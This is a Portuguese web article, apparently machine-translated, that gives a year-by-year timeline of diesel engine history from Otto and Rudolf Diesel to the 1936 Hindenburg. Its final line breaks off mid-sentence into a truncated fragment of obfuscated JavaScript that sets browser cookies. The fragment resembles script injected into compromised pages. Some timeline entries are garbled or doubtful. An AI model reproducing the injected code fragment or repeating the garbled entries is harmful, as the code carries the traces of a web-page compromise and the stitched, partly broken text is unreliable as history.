História do motor a diesel

História do motor a diesel

O motor a diesel é um motor de combustão interna que utiliza ignição por compressão, na qual o combustível se inflama ao ser injetado no ar na câmara de combustão que foi comprimido a temperaturas altas o suficiente para causar ignição. Em contraste, os motores a gasolina utilizam o ciclo Otto, no qual o combustível e o ar são tipicamente misturados antes de entrar na câmara de combustão e inflamados por uma vela de ignição, tornando indesejável a ignição por compressão (batida do motor). O motor opera usando o ciclo Diesel em homenagem ao engenheiro alemão Rudolf Diesel, que o inventou em 1892 com base no motor de bulbo quente e pelo qual recebeu uma patente em 23 de fevereiro de 1893.

Diesel pretendia que o motor usasse uma variedade de combustíveis, incluindo pó de carvão e óleo de amendoim. Ele demonstrou isso na 1900 Exposition Universelle (Feira Mundial) usando óleo de amendoim.

Linha do tempo da história do motor a diesel

1862: Nicolaus Otto desenvolve seu motor a gás de carvão, semelhante a um moderno motor a gasolina.

1891: Herbert Akroyd Stuart, de Bletchley, aperfeiçoa seu motor a óleo e aluga direitos a Hornsby da Inglaterra para construir motores. Eles constroem o primeiro arranque a frio, motores de ignição por compressão.

1892: O motor Hornsby nº 101 é construído e instalado em um sistema hidráulico. Está agora no museu de caminhões da MAN no norte da Inglaterra.

1892: Rudolf Diesel desenvolve seu motor tipo Carnot Heat, que queima pó de carvão pulverizado. Ele é empregado pelo gênio da refrigeração Carl von Linde, depois pelo fabricante de ferro MAN AG, de Munique, e mais tarde pela empresa de motores Sulzer da Suíça. Ele pega ideias deles e deixa um legado para todas as empresas.

1892: John Froelich constrói seu primeiro trator agrícola movido a óleo.

1894: Witte, Reid e Fairbanks começam a construir motores a óleo com uma variedade de sistemas de ignição.

1896: Hornsby constrói tratores a diesel e motores ferroviários.

1897: Winton produz e dirige o primeiro automóvel a gás construído nos EUA; Mais tarde ele constrói plantas de diesel.

1897: Mirrlees, Watson & Yaryan constroem o primeiro motor diesel britânico sob licença de Rudolf Diesel. Isso agora é exibido no Museu da Ciência em South Kensington, Londres.

1898: Busch instala um motor tipo Rudolf Diesel em sua cervejaria em St. Louis. É o primeiro nos Estados Unidos. Rudolf Diesel aperfeiçoa seu mecanismo de início de compressão, patenteia e licencia. Este motor, retratado acima, está em um museu alemão.

1899: Diesel licencia seu motor para os construtores Burmeister & Wain, Krupp e Sulzer, que se tornam construtores famosos.

1902: F. Rundlof inventa o cárter de dois tempos, motor de bulbo quente.

1902: Uma empresa chamada Forest City começou a fabricar geradores a diesel.

1903: O navio Gjoa transita pela Passagem do Noroeste, preenchida com gelo, auxiliada por um motor de querosene Dan.

1904: os franceses constroem o primeiro submarino a diesel, o Z.

1908: Bolinder-Munktell começa a construir dois motores de bulbo quente.

1912: Primeiro navio a diesel MS Selandia é construído. O SS Fram, o carro-chefe do explorador polar Amundsen, é convertido em um diesel da AB Atlas.

1913: Fairbanks Morse começa a construir seu motor semi-diesel modelo Y. Os submarinos da Marinha dos EUA usam as unidades da NELSECO.

1914: Os U-boats alemães são movidos por motores diesel MAN. O serviço de guerra prova a confiabilidade do motor.

Década de 1920: as frotas de pesca convertem-se em motores a óleo. Atlas-Imperial de Oakland, Union e Lister diesels aparecem.

1924: aparecem os primeiros caminhões a diesel.

1928: A Canadian National Railways emprega um shunter a diesel em seus pátios.

Década de 1930: Clessie Cummins começa com motores a diesel holandeses e, em seguida, constrói seus próprios caminhões e um carro de luxo Duesenberg no autódromo de Daytona.

Década de 30: a Caterpillar começa a construir motores a diesel para seus tratores.

1933: A Citroën apresenta o Rosalie, um carro de passageiros com o primeiro motor a diesel comercialmente disponível desenvolvido pelo mundo com Harry Ricardo.

1934: General Motors inicia uma instalação de pesquisa de diesel da GM. Ela fabrica motores a diesel para trens – The Pioneer Zephyr – e continua fundando a Divisão de Motores Elétricos da General Motors, que se torna um importante motor de construção de embarcações de desembarque e tanques na Segunda Guerra Mundial. A GM aplica esse conhecimento ao controle de mercado com seus famosos Green Leakers para ônibus e motores ferroviários.

1936: Mercedes-Benz constrói o carro a diesel 260D. A.T.S.F inaugura o trem diesel Super Chief.

1936: O dirigível Hindenburg é movido por motores a diesel.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]